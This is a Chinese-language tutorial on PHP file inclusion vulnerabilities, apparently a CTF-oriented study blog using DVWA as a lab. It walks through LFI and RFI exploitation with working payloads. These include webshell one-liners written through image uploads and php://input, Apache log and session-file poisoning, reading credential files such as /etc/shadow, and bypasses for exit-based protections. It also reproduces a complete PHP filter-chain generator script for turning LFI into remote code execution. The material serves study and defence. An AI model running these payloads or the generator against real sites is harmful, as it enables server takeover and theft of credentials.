文件包含漏洞

依赖于include(),require(),include_once(),require_once()这些函数的漏洞

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含

有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

# 几个函数的区别

require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

只要文件中存在php代码都会被解析出来

本地文件包含(LFI)

能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
测试网页包含如下代码:

<?php
	$file=$_GET['filename'];
	include($file);
?>

网站利用文件包含功能读取一些php文件,例如phpinfo:

也可以包含木马

利用该代码,我们可以读取一些系统本地的敏感信息。
例如:C:\Windows\system.ini文件。
(1)使用绝对路径
使用绝对路径直接读取:

(2)使用相对路径进行读取
通过./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。

例如当前页面所在路径为C:\Apache24\htdocs\,我们需要使用…/退到C盘再进行访问,构造路径如下:
../../windows/system.ini

由于我的环境搭建在D盘,所以这里就不做演示了。

(3)一些常见的敏感目录信息路径:
Windows系统:

C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini //Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
C:\windows\php.ini //php配置信息
Linux/Unix系统:

/etc/password //账户信息
/etc/shadow //账户密码信息
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/php5/lib/php.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //Apache配置文件
/etc/my.conf //mysql配置文件

三、LFI漏洞利用技巧
1.配合文件上传使用
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:

<?php
	fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>

找到上传点进行上传:

得到文件保存的完整路径

现在我们利用页面去执行我们上传的图片马

有能够读取文件的php页面,直接构造url读取,代码成功解析

注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

2.包含Apache日志文件
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:

当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:

如果我们访问一个不存在的资源,也一样会进行记录,例如访问

127.0.0.1<?php phpinfo();?>

网页会显示403

但查看日志会发现被成功记录但被编码了

我们再次进行访问,并使用burp抓包,发现被编码:

我们将报文修改回去,再进行发送即可:

此时再查看access日志,正确写入php代码:

再通过本地文件包含漏洞访问,即可执行

我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。

3.包含SESSION文件
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

利用条件:

找到Session内的可控变量
Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。

session常见存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
相关案例可以查看这道CTF题一道CTF题:PHP文件包含

4.包含临时文件

php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题: XMAN夏令营-2017-babyweb-writeup

远程文件包含(RFI)

必备知识:php伪协议

file:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用
    用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopenallow_url_include的影响。
    include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

  • 说明
    file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen()file_get_contents()include_path 会可选地搜索,也作为相对的路径。

  • 用法

    /path/to/file.ext
    relative/path/to/file.ext
    fileInCwd.ext
    C:/path/to/winfile.ext
    C:\path\to\winfile.ext
    \\smbserver\share\path\to\winfile.ext
    file:///path/to/file.ext
  • 示例

    1. file://[文件的绝对路径和文件名]

      http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

      图片描述

    2. [文件的相对路径和文件名]

      http://127.0.0.1/include.php?file=./phpinfo.txt

      图片描述

    3. [http://网络路径和文件名]

      http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

      图片描述

  • 参考http://php.net/manual/zh/wrappers.file.php

php:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on
  • 作用
    php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码

  • 说明
    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
    内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

    协议 作用
    php://input 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
    php://output 只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
    php://fd (>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()file()file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
  • php://filter参数详解

    该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

    php://filter 参数 描述
    resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
    read=<读链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
    write=<写链的过滤器> 可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
    <; 两个链的过滤器> 任何没有以 read=write= 作前缀的筛选器列表会视情况应用于读或写链。
  • 可用的过滤器列表(4类)

    此处列举主要的过滤器类型,详细内容请参考:https://www.php.net/manual/zh/filters.php

    字符串过滤器 作用
    string.rot13 等同于str_rot13(),rot13变换
    string.toupper 等同于strtoupper(),转大写字母
    string.tolower 等同于strtolower(),转小写字母
    string.strip_tags 等同于strip_tags(),去除html、PHP语言标签
    转换过滤器 作用
    convert.base64-encode & convert.base64-decode 等同于base64_encode()base64_decode(),base64编码解码
    convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8-bit 字符串编码解码
    压缩过滤器 作用
    zlib.deflate & zlib.inflate 在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
    bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建 bz2 兼容文件的方法。
    加密过滤器 作用
    mcrypt.* libmcrypt 对称加密算法
    mdecrypt.* libmcrypt 对称解密算法
  • 示例

    1. php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

      图片描述

    2. php://input + [POST DATA]执行php代码

      http://127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php phpinfo(); ?>

      图片描述

      若有写入权限,写入一句话木马

      http://127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

      图片描述

  • 参考https://php.net/manual/zh/wrappers.php.php

zip:// & bzip2:// & zlib:// 协议

  • 条件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 作用zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

  • 示例

    1. zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)

      压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

      http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

      图片描述

    2. compress.bzip2://file.bz2

      压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

      http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

      图片描述

    3. compress.zlib://file.gz

      压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

      http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

      图片描述

  • 参考http://php.net/manual/zh/wrappers.compression.php

data:// 协议

  • 条件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

  • 用法

    data://text/plain,
    data://text/plain;base64,
  • 示例

    1. data://text/plain,

      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

      图片描述

    2. data://text/plain;base64,

      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      图片描述

http:// & https:// 协议

  • 条件

    • allow_url_fopen:on
    • allow_url_include :on
  • 作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

  • 用法

    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com
  • 示例

    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

    图片描述

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

图片描述

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术

因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。

WAF

filter链绕过

构造一串字符利用过滤器的性质构造(在已知文件前构造命令执行)或破坏字符(exit)

base64特质

在base64_decode中会将不在A-Za-z0-9+/=的字符全都去掉,于是可以通过这个来绕过exit

image-20250326161257630

乍一眼,你这不对啊。。。。这是因为base64在解码的时候是将4个字节转化为3个字节,又因为死亡代码只有phpexit参与了解码,所以补上一位就可以完全转化,解码的时候有效字符一定要是4的倍数,不然就会解码错误,原因就是未补足的字符本质上是用=补足的

而在解码时=后还有字符明显是错误的,所以就会注入失败

rot13 编码绕过

原理和base64一样,可以直接转码分解死亡代码;这里不再多说;直接看如下实验结果即可;

image-20250326161910851

只是这种方法有点尴尬的是;因为我们生成的文件内容之中前面的<?并没有分解掉,这时,如果服务器开启了短标签(short_open_tag),那么就会被解析,所以所以后面的代码就会错误;也就失去了作用;

.htaccess的预包含利用

利用 .htaccess的预包含文件的功能来进行攻破;自定义包含我们的flag文件。

$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value%20auto_prepend_file%20G:\s1mple.php

同时传入如上的代码,首先来解释$filename的代码,这里引用了string.strip_tags过滤器,可以过滤.htaccess内容的html标签,自然也就消除了死亡代码;$content即闭合死亡代码使其完全消除,并且写入自定义包含文件;实验结果如下所示:

image-20250326162057074

但是这种方法也是具有一定的局限性,首先我们需要知道flag文件的位置,和文件的名字,一般的比赛中可以盲猜 flag.php flag /flag /flag.php 等等;另外还有个很大的问题是,string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器;

蓄意乱序

介绍UCS-2LE和UCS-2BE两种过滤器的组合以及UCS-4LE和UCS-2BE两种过滤器的组合

其中2xE都是进行两位一反转,4xE进行四位一反转,目的其实就是破坏前面死亡exit的顺序来达到让php无法识别的效果

过滤器编码组合拳

过滤器组合拳,其实故名思意,就是利用过滤器嵌套过滤器进行过滤,以此达到代码的层层更迭,从而最后写入我们期望的代码;

先来一种:

$filename='php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php'
$content='?>PD9waHAgcGhwaW5mbygpOz8+'

可以看到,利用string.strip_tags可以过滤掉html标签,将标签内的所有内容进行删去,然后再进行base64解码,成功写入shell;

image-20250326162042101

但是这种方法有一定的局限性也还是因为string.strip_tags在php7.3.0以上的环境下会发生段错误,从而导致无法写入,但是在php5的环境下则不受此影响;

再来另外一种

如果题目的环境是php7的话,那么我们又该如何?这里受一个题目的启发,也可以使用过滤器进行嵌套来做;组合拳;这里三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误;则可以写入shell;

$filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=s1mple.php
$content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0dphpinfo();?>/resource=s1mple.php

如此便可以写入;其原理也很简单,就是利用过滤器嵌套让死亡代码在各种变换之间进行分解扰乱,然后再次写入木马;

image-20250326162048585

这里非常巧合的是内容经过压缩转小写然后解压之后,我们的目的代码并没有发生变化,这也为写入木马奠定了基础;

无中生有之inconv

呃呃,又长又臭的脚本环节,只讲一下原理吧,脚本还是要等我的XSS三兄弟学完才会回头补完一下。。

主包讲的不好也可以参考p神的博客真正的from LFI to RCE——CVE-2024-2961 | Err0r233

从上面已经知道我们可以利用base64解码的特质和strip_tags来删除掉一些过滤

那有的人会说了,主包主包你的混淆确实很强,但是如何他的注入点干净的不得了呢

$a=$_GET['filename'];
include($a);

这个时候就需要自行构造一些危险代码,同时利用base64将其先编码防止诸如<?;>这些字符在解码时被过滤掉

所以要介绍一些神奇的过滤器:

  • CSISO2022KR

将字符集从我们常用的UTF-8转换为CSISO2022KR

php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://,aaaaaaaaaaaaaa
转换结果:
string(24) "%1B%24%29Caaaaaaaaaaaaaa"

其实是 string(18) "不可见字符$)Caaaaaaaaaaaaaa"

此时可以看到成功构造了一个字符C

达到了无中生有的效果了

而通过几次巧妙的构造,就可以出整张base64表,这里直接贴p神搓好的脚本

#!/usr/bin/env python3
import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()
    
链接:https://err0r233.github.io/posts/28510.html
  • UTF-8 ->UTF-7

    测试代码

<?php

$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');

/**
Qftm.txt 写入的内容为: +AD0-
**/

image-20250328104911141

这里直接给某个师傅博客的截图,这是原链接探索php://filter在实战当中的奇技淫巧-安全KER - 安全资讯平台,懒得打了(瘫)